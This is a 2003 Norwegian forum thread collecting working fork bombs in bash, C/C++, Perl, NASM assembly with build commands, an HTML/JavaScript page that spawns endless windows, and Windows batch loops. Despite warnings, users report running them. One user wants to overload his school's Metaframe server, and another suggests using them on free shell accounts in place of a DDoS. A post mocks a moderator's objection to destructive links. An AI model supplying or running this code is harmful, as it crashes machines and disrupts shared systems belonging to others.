Forkbombs

MarcelSB · 13. juli 2003

Vet ikke helt hvor linuxspesifikt dette er, men syns allikevel dette er interessant nok til at jeg poster det :yes:

En forkbomb er et program eller et skript som ustoppelig lager nye prosesser til CPU-loaden er så tung at maskinen tvinges til å stoppe opp.

A fork bomb is described as a program or shell script which (either intentionally or accidently) creates new processes repeatedly using the fork() system call. New processes are created so fast that within no time the process table gets filled up and the system comes to a
grinding halt.

Etter at mohuhau @ EFNet fant en forkbomb-oneliner som mange av oss på #hw.no/linux @ EFNet gikk på (inkludert meg :lol: ) begynte vi å diskutere dette emnet, og til slutt endte vi opp med forkbombs på seks forskjellige språk

Advarsel: Dere må for all del ikke finne på å kjøre noen av disse kodene, da de kommer til å kræsje maskina fullstendig

BASH (Funker på mange andre skall)

:(){ :|:& };:

jaromil
A forkbomb (see related project descriptions) implemented as a single-line/13 characters Unix shell script. In other words: You just have to type these 13 characters (which superficially resemble smilies or ASCII art) on the command line/the terminal window of any computer running a Unix-like operating system:

: (){ :|:& };:

The most elegant forkbomb code ever written.

C og C++

main()

{

       while (1)

       fork();

}

C

#include <stdio.h>

#include <signal.h>



int

main (void)

{sigset_t set;

struct timespec timespec = {0, 0};

sigfillset (& set);

while (1)



fork();

sigtimedwait (& set, NULL, & timespec);



return (0);

}

Perl

perl -e 'fork while 1'

Assembly

section .text

       global       _start



_start:

       mov          al, 2

       int          0x80

       jmp SHORT    _start

HTML / Javascript

Denne sida...

<html>

<head>



<title>Fork Bomb!</title>



<script language="JavaScript">



 function fork() {



 	window.open('javascript:"<html><head><title>Fork Bomb!</title></head><body onunload="javascript:window.open(window.location);window.open(window.location)" onload="javascript:window.open(window.location);window.open(window.location)"></body></html>"');



 }



</script>



</head>

<body onload="javascript:fork()"></body>

</html>

Kunstverk.

Det finnes også en rekke artikler om dette..

Se forøvrig verdens farligste desktop

MarcelSB

mohuhau · 13. juli 2003

Vil bare legge til at jeg har kjørt

:(){ :|:& };:

og det gikk ok, men jeg var logget inn som vanlig bruker. Kjører du disse som root er nok eneste muligheten reboot.

For å kompilere nasm koden:


nasm -f elf bomb.asm

ld -s -o bomb bomb.o

Egil.B · 13. juli 2003

Kan ikke finne et vbscript eller noe som fungerer på windows 2k? Hadde vært gøy å overloadet metaframen på skolen :lol:

(må jo få lov å tenke litt ondskapsfullt i sommerferien).

gspr · 13. juli 2003

Norsk:

Gaffelbombe

Langbein · 13. juli 2003

:(){ :|:& };:

Er dessverre ikke SÅ dreven i bash, kan noen forklare hva som egentlig gjøres her?

Når det gjelder C-koden så kan jeg som en kuriositet nevne at da vi på universitetet skulle lære interprosess-kommunikasjon i C, fikk vi streng beskjed om at det ikke var lov å bruke fork(). Isteden hadde foreleseren laget en egen versjon - het vel safe_fork() eller noe i den duren. Der var det nemlig lagt inn begrensning på antall prosesser som kunne opprettes til 5 hvis jeg husker riktig. De var lure og tok ingen sjangser, er tross alt lett å programmere dette feil

MarcelSB · 13. juli 2003

Det som gjøres:

:()

Deklarerer funksjonen ":"

{ :|:& };

Kroppen til funksjonen ":" som består av kalling til egen funksjon og piping av kalling til egen funksjon til en bakgrunnsprosess.

Kaller opp funskjonen ":" igjen når funksjonen er ferdig utført.

Altsa en evig løkke som produserer prosesser i all evighet

MarcelSB

Langbein · 13. juli 2003

Takk for forklaringen!! Scriptet var jo genialt.

Må se å lære meg litt mer avansert bash etterhvert. Har liksom aldri giddet å sette meg skikkelig inn i det fordi jeg heller har brukt "ordentlige" scriptspråk som python og perl.

Egil.B · 13. juli 2003

Nå har vi ihvertfall enkleste metoden å kjøre ne et gratis-shell på :lol:

Hvorfor ddos'e når det kan gjøres lokalt? :lol:

magikern · 13. juli 2003

for de som er innterressert finnes det en kur mot alt tydeligvis gaffel bomber også:

http://rexgrep.tripod.com/rexfbd.htm

Fork Bomb Defuser (rexFBD) allows you to configure the max_forks_per_second and max_tasks_per_user parameters, at the time of loading the module. Any possible Fork Bomb is detected using these parameters and is defused (deactivated) in real time. The uid of the user who started it, as well as the time it was started is logged in /var/log/messages for the system administrator to take action

GNUfan · 13. juli 2003

frankcc: Du får legge inn en sperre på den koden eller noe sånn... (jeg har shell hos han )

i C++ ser koden slik ut:


#include <unistd.h>



int main ()

{

while (1)

{

fork();

}

}

Kjørte den der, gkrellm viste full cpu-load, og 'ps', pkill, killall og alle disse (det var bare de jeg prøvde) klagde over at "fork" var utilgengelig.

Det som er rart er at jeg ikke kunne merke forskjell i bruk av systemet ( vel og merke de programmene som var åpne). Dette kan jo ha noe med å gjøre at jeg kjører en betakjerne nå, og at fork() er bedre implementert der. Eller så har det noe med at den er preemtive.

magikern · 13. juli 2003

loka litt rundt på google.com og fant to skumle perl komandoer:

perl -MNet::Dict -le"print qq,@{$_}, for @{Net::Dict->new('dict.org')->define(shift)}" fork

perl -MNet::Dict -le"print qq,@{$_}, for @{ Net::Dict->new('dict.org')->define('fork')}"

veit ikke helt hvor fristende de er å prøve, siden jeg ikke har så altfor mye greie på perl.

DummeGaas · 27. juli 2003

Vet at dette er en gammel tråd, men slik kan man lage en fork-bomb som en batchfil i windows.

:a

start %0

goto a

Lykke til

OBS: Dette skal du ikke gjøre. Det er bare der for at du og de dumme små vennene dine skal vite hva man aldri skal gjøre.

Egil.B · 27. juli 2003

Nice! hadde jeg bare hatt Windows for hånden nå.. Noen som har testet windows forkbomben ?

Ueland · 27. juli 2003

Red amn:

Lenker som peker til ting og tang som ødelegger datamaskinen og eller forrorsaker "terror" er heller uønsket.

Og ja Fork bomben for Windows funker, maskinen krasjet ikke men nå er det mye som ikke fungerer lenger.

Jeg sikter da til lenken "denne siden..", slike kan godt ha det bedre navn på.

*jeg ville lagt til noen smilier her men det funker ikke*

whoi · 27. juli 2003

Den windows forkbomben klarte ihvertfall å crashe win98 som jeg hadde kjørende i vmware

Måtte trykke på stopp knappen for å få avslutta!

DanteUseless · 28. juli 2003

a:

start $0

start $0

goto a:

Trodde det ville gjøre noe forskjell men den gang ei.

Anyway, her her screenshot (tatt gjennom vnc) for denne "forkbomb'en" kjørt på en WinXP, P3 800, 512MB RAM.

Screenshot tatt gjennom vnc, pga var umulig å få ting til å reagere som jeg ville på den gitte maskina, selv om den aldri kræsja helt.

-Dante

Egil.B · 19. august 2003

Noen som tør teste http://www.pastebin.org/index.php?page=sho...&key=77fdficc1a ?

Ja, jeg kunne ha gjort det på alfons om jeg ville Velmont, men da hadde irssi lagget :smile:

magikern · 19. august 2003

Noen som tør teste http://www.pastebin.org/index.php?page=sho...&key=77fdficc1a ?

Ja, jeg kunne ha gjort det på alfons om jeg ville Velmont, men da hadde irssi lagget :smile:

gadd ikke prøve på min egen server, men hva har man vel ikke gratis webplass rundt om kring til, uansett så fikk jeg denne beskjeden:

Fatal error: Call to undefined function: pcntl_fork() in /home/p/ph/phahome/public_html/fork.php on line 4

sjekket på google.com og fant ut at "pcntl_fork()" først kom i php 4.1.0, så den serveren jeg testa på har vel eldre da...

DrDoogie · 19. august 2003

Red amn:

Lenker som peker til ting og tang som ødelegger datamaskinen og eller forrorsaker "terror" er heller uønsket.

Det er sikkert fint det, men naa finnes det noe der ute som heter "virkeligheten". Dette "virkeligheten" blir stadig avsloert av saakalte "whistleblowers".

Skulle gjerne skrevet mer om dette her, men lar det begrense seg til at jeg gjerne opplyser moderatorene om at deres fisefine innstilling er heller lite interessant.

DanteUseless · 20. august 2003

Noen som testet eller ble max_executiontime'en for liten?

-Dante

Forkbombs

Anbefalte innlegg

Lenke til kommentar

Videoannonse

Lenke til kommentar

Lenke til kommentar

Lenke til kommentar

Lenke til kommentar

Lenke til kommentar

Lenke til kommentar

Lenke til kommentar

Lenke til kommentar

Lenke til kommentar

Lenke til kommentar

Lenke til kommentar

Lenke til kommentar

Lenke til kommentar

Lenke til kommentar

Lenke til kommentar

Lenke til kommentar

Lenke til kommentar

Lenke til kommentar

Lenke til kommentar

Opprett en konto eller logg inn for å kommentere

Opprett konto

Logg inn

Hvem er aktive 0 medlemmer